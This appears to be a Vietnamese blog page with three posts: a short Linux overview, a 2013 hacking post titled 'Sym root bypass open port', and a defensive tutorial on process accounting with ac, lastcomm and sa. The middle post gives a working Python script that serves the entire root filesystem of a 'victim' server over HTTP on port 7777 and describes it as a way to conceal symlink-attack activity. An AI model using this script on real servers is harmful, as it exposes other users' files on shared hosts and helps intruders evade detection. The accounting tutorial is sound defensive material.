Ban đầu, Linux được phát triển và sử dụng bởi những người say mê. Tuy nhiên, hiện nay Linux đã có được sự hỗ trợ bởi các công ty lớn như IBM và Hewlett-Packard, đồng thời nó cũng bắt kịp được các phiên bản Unix độc quyền và thậm chí là một thách thức đối với sự thống trị của Microsoft Windows trong một số lĩnh vực. Sở dĩ Linux đạt được những thành công một cách nhanh chóng là nhờ vào các đặc tính nổi bật so với các hệ thống khác: chi phí phần cứng thấp, tốc độ cao (khi so sánh với các phiên bản Unix độc quyền) và khả năng bảo mật tốt, độ tin cậy cao (khi so sánh với Windows) cũng như là các đặc điểm về giá thành rẻ, không bị phụ thuộc vào nhà cung cấp. Một đặc tính nổi trội của nó là được phát triển bởi một mô hình phát triển phần mềm nguồn mở hiệu quả.

Tuy nhiên, hiện tại số lượng phần cứng được hỗ trợ bởi Linux vẫn còn rất khiêm tốn so với Windows vì các trình điều khiển thiết bị tương thích với Windows nhiều hơn là Linux. Nhưng trong tương lai số lượng phần cứng được hỗ trợ cho Linux sẽ tăng lên.

2. Các bản phân phối Linux

Linux hiện nay có nhiều bản phân phối khác nhau, một phần là bởi vì tính chất nguồn mở của nó.

Ubuntu, Debian GNU/Linux, centos, fedora, Linux Mint, Knoppix, Gentoo, redflag linux, Chrome Linux, Red Hat Enterprise Linux, SUSE Linux Enterprise Desktop, PCLinuxOS, Slackware, SLAX, Sabayon........


Nguồn : Wikipeadia.org

Thứ Hai, 26 tháng 8, 2013

Sym root bypass open port nếu server cho chạy python

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa
dùng lệnh python -h xem có trả về kết quả gì ko nè.

Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py
#!/usr/bin/env python
# Bypass for (c) 2013
import SimpleHTTPServer
import SocketServer
import os
port = 7777
if __name__=='__main__':
os.chdir('/')
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", port), Handler)
print("Now open this server on webbrowser at port : " + str(port))
print("example: http://maho.com:" + str(port))
httpd.serve_forever()





Sau đó chạy nó python capuchino.py

rồi kiểm tra kết quả :victim:7777

Cách này có thể giấu đc kết quả thực hiện sym trên server

Thứ Năm, 18 tháng 4, 2013

Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux

Dò tìm dấu vết chỉnh sửa được thực hiện trên hệ thống Linux

Hoạt động xâm phạm có thể đến từ cả hai phía: người dùng đã biết (nội bộ) và người dùng không xác định (từ bên ngoài). Kinh nghiệm cá nhân của tôi chỉ ra rằng những người không hạnh phúc hay không bằng lòng với cuộc sống thường gây nguy hiểm cho hệ thống của bạn, nhất là khi họ có lớp vỏ bọc truy cập hợp pháp. Một số người khá thông minh, loại bỏ file history (như: ~/.bash_history) hòng tránh bị phát hiện. Nhưng bạn vẫn hoàn toàn có thể giám sát tất cả lệnh thực thi của người dùng.

Lời khuyên ở đây là bạn nên kiểm soát hoạt động người dùng bằng cách sử dụng chương trình xử lý accounting. Chương trình xử lý accounting cho phép bạn xem xét mọi lệnh do người dùng thực thi với thời gian sử dụng CPU và bộ nhớ. Nhờ chương trình này, người quản trị sẽ luôn tìm ra được mọi lệnh thực thi ở bất kỳ thời gian nào.

Gói xử lý accounting gồm một số tiện ích giám sát các hoạt động chương trình như ac, lastcomm, accton và sa.

• Câu lệnh "ac" thể hiện lượng thời gian người dùng đăng nhập hệ thống.
• Câu lệnh "lastcomm" cho biết thông tin của các lệnh thực thi trước đó.
• Câu lệnh "accton" bật tắt chương trình xử lý accounting.
• Câu lệnh "sa" tóm tắt thông tin về các lệnh được thực thi trước đó.

Cài đặt gói psact hoặc acct

Dùng lệnh up2date nếu bạn đang dùng RHEL:

# up2date psacct

Dùng lệnh yum nếu bạn đang dùng nhân Linux CentOS/Fedora:

# yum install psacct

Dùng lệnh apt-get nếu bạn đang dùng Linux Ubuntu / Debian:

$ sudo apt-get install acct OR # apt-get install acct

Khởi động dịch vụ psacct/acct

Mặc định, dịch vụ này khởi động trên Ubuntu / Debian Linux bằng cách tạo ra file "/var/account/pacct". Nhưng ở hệ điều hành Red Hat /Fedora Core/Cent OS, bạn cần tự khởi động "psacct". Gõ hai lệnh sau để tạo file "/var/account/pacct" và khởi động các dịch vụ:

# chkconfig psacct on
# /etc/init.d/psacct start

Nếu bạn đang dùng Suse Linux, tên của dịch vụ là "acct". Gõ các lệnh sau:

# chkconfig acct on
# /etc/init.d/acct start

Bây giờ chúng ta hãy xem cách khai thác các tiện ích này để giám sát lệnh và thời gian người dùng.

Hiển thị số liệu thời gian kết nối của người dùng

Câu lệnh "ac" đưa ra số liệu thời gian kết nối theo giờ dựa trên các lệnh login/logout. Số lượng tổng cộng cũng được đưa ra. Nếu bạn gõ lệnh "ac" không có bất kỳ tham số nào, nó sẽ đưa ra lượng thời gian kết nối tổng:

$ ac

Xuất ra:

total 95.08

Hiển thị lượng tổng cộng theo từng ngày tốt hơn là chỉ có một kết quả tổng lớn vào thời điểm cuối cùng:

$ ac -d

Xuất ra:

Nov 1 total 8.65
Nov 2 total 5.70
Nov 3 total 13.43
Nov 4 total 6.24
Nov 5 total 10.70
Nov 6 total 6.70
Nov 7 total 10.30
.....
..
...
Nov 12 total 3.42
Nov 13 total 4.55
Today total 0.52

Hiển thị thời gian tổng cộng của từng người dùng để thêm vào giá trị "mọi thứ trong một" thông thường:

$ ac -p

Xuất ra:

vivek 87.49
root 7.63
total 95.11

Tìm ra thông tin các lệnh người dùng thực thi trước đó

Sử dụng câu lệnh lastcomm để đưa ra thông tin các lệnh người dùng thực thi trước đó. Bạn có thể tìm kiếm lệnh bằng cách sử dụng username (tên người dùng), tty name, hoặc bằng tên của chính câu lệnh.

Ví dụ hiển thị lệnh do người dùng "vivek" sử dụng:

$ lastcomm vivek

Xuất ra:

userhelper S X vivek pts/0 0.00 secs Mon Nov 13 23:58
userhelper S vivek pts/0 0.00 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.01 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.00 secs Mon Nov 13 23:45
rpmq vivek pts/0 0.01 secs Mon Nov 13 23:45
gcc vivek pts/0 0.00 secs Mon Nov 13 23:45
which vivek pts/0 0.00 secs Mon Nov 13 23:44
bash F vivek pts/0 0.00 secs Mon Nov 13 23:44
ls vivek pts/0 0.00 secs Mon Nov 13 23:43
rm vivek pts/0 0.00 secs Mon Nov 13 23:43
vi vivek pts/0 0.00 secs Mon Nov 13 23:43
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
ping S vivek pts/0 0.00 secs Mon Nov 13 23:42
cat vivek pts/0 0.00 secs Mon Nov 13 23:42
netstat vivek pts/0 0.07 secs Mon Nov 13 23:42
su S vivek pts/0 0.00 secs Mon Nov 13 23:38

Thông tin được đưa ra theo từng dòng. Ví dụ với dòng đầu tiên:

userhelper S X vivek pts/0 0.00 secs Mon Nov 13 23:58

Trong đó:

- userhelper: là tên lệnh chương trình

- S và X: là các cờ, ghi lại bởi kiểu định tuyến tài khoản hệ thống. Ý nghĩa của các cờ gồm:

S - câu lệnh thực thi bởi siêu người dùng.
F - câu lệnh thực thi sau khi rẽ nhánh nhưng sau đó không làm gì nữa.
D - câu lệnh kết thúc bằng một file lõi chung.
X - câu lệnh được kết thúc bằng dấu hiệu SIGTERM.
- vivek: tên người dùng chạy chương trình này.

- prts/0: tên mở rộng.

- 0.00 secx: thời gian thực thi chương trình.

Tìm kiếm các file log tính toán bằng tên lệnh:

$ lastcomm rm
$ lastcomm passwd

Xuất ra:

rm S root pts/0 0.00 secs Tue Nov 14 00:39
rm S root pts/0 0.00 secs Tue Nov 14 00:39
rm S root pts/0 0.00 secs Tue Nov 14 00:38
rm S root pts/0 0.00 secs Tue Nov 14 00:38
rm S root pts/0 0.00 secs Tue Nov 14 00:36
rm S root pts/0 0.00 secs Tue Nov 14 00:36
rm S root pts/0 0.00 secs Tue Nov 14 00:35
rm S root pts/0 0.00 secs Tue Nov 14 00:35
rm vivek pts/0 0.00 secs Tue Nov 14 00:30
rm vivek pts/1 0.00 secs Tue Nov 14 00:30
rm vivek pts/1 0.00 secs Tue Nov 14 00:29
rm vivek pts/1 0.00 secs Tue Nov 14 00:29

Tìm kiếm các file log tính toán bằng tên mở rộng pts/1

$ lastcomm pts/1

Tóm tắt thông tin tính toán

Dùng lệnh sa để đưa ra thông tin tóm tắt về các lệnh được thực thi trước đó. Hơn nữa các thông tin này còn ép dữ liệu để đưa vào một file tóm tắt có tên "savacct", gồm thời gian lệnh được gọi và tài nguyên hệ thống được dùng. Thông tin cũng có thể được tóm tắt theo từng người dùng cơ sở. "sa" sẽ ghi thông tin vào một file có tên "usracct".

# sa

Xuất ra:

579 222.81re 0.16cp 7220k
4 0.36re 0.12cp 31156k up2date
8 0.02re 0.02cp 16976k rpmq
8 0.01re 0.01cp 2148k netstat
11 0.04re 0.00cp 8463k grep
18 100.71re 0.00cp 11111k ***other*
8 0.00re 0.00cp 14500k troff
5 12.32re 0.00cp 10696k smtpd
2 8.46re 0.00cp 13510k bash
8 9.52re 0.00cp 1018k less

Ví dụ với dòng đầu tiên:

4 0.36re 0.12cp 31156k up2date

Trong đó:

• 0.36re: "thời gian thực" (theo phút của đồng hồ treo tường).
• 0.12cp: tổng thời gian sử dụng CPU của hệ thống và người dùng (theo phút).
• 31156k: thời gian sử dụng CPU trung bình (theo đơn vị k).
• up2date: tên lệnh.

Hiển thị thông tin với từng người dùng:

# sa -u

Xuất ra:

root 0.00 cpu 595k mem accton
root 0.00 cpu 12488k mem initlog
root 0.00 cpu 12488k mem initlog
root 0.00 cpu 12482k mem touch
root 0.00 cpu 13226k mem psacct
root 0.00 cpu 595k mem consoletype
root 0.00 cpu 13192k mem psacct *
root 0.00 cpu 13226k mem psacct
root 0.00 cpu 12492k mem chkconfig
postfix 0.02 cpu 10696k mem smtpd
vivek 0.00 cpu 19328k mem userhelper
vivek 0.00 cpu 13018k mem id
vivek 0.00 cpu 13460k mem bash *
lighttpd 0.00 cpu 48240k mem php *

Hiển thị số lượng chương trình và số phút sử dụng CPU ở từng người dùng cơ bản:

# sa -m

Xuất ra:

667 231.96re 0.17cp 7471k
root 544 51.61re 0.16cp 7174k
vivek 103 17.43re 0.01cp 8228k
postfix 18 162.92re 0.00cp 7529k
lighttpd 2 0.00re 0.00cp 48536k

Tìm ra ai là người đang chiếm lĩnh CPU

Bằng cách nhìn vào thành phần thời gian "re, k, cp/cpu" (xem phần giải thích ở trên), bạn có thể tìm ra hoạt động đáng ngờ hoặc tên của người dùng, tên lệnh đang chiếm lĩnh toàn bộ CPU. Thời gian cũng như dung lượng sử dụng CPU (hoặc bộ nhớ) tăng lên tức là có vấn đề xuất hiện.

Hãy lưu ý các lệnh ở trên cũng như các gói ở nhiều hệ điều hành tựa UNIX khác (như Sun Solaris và *BSD chẳng hạn).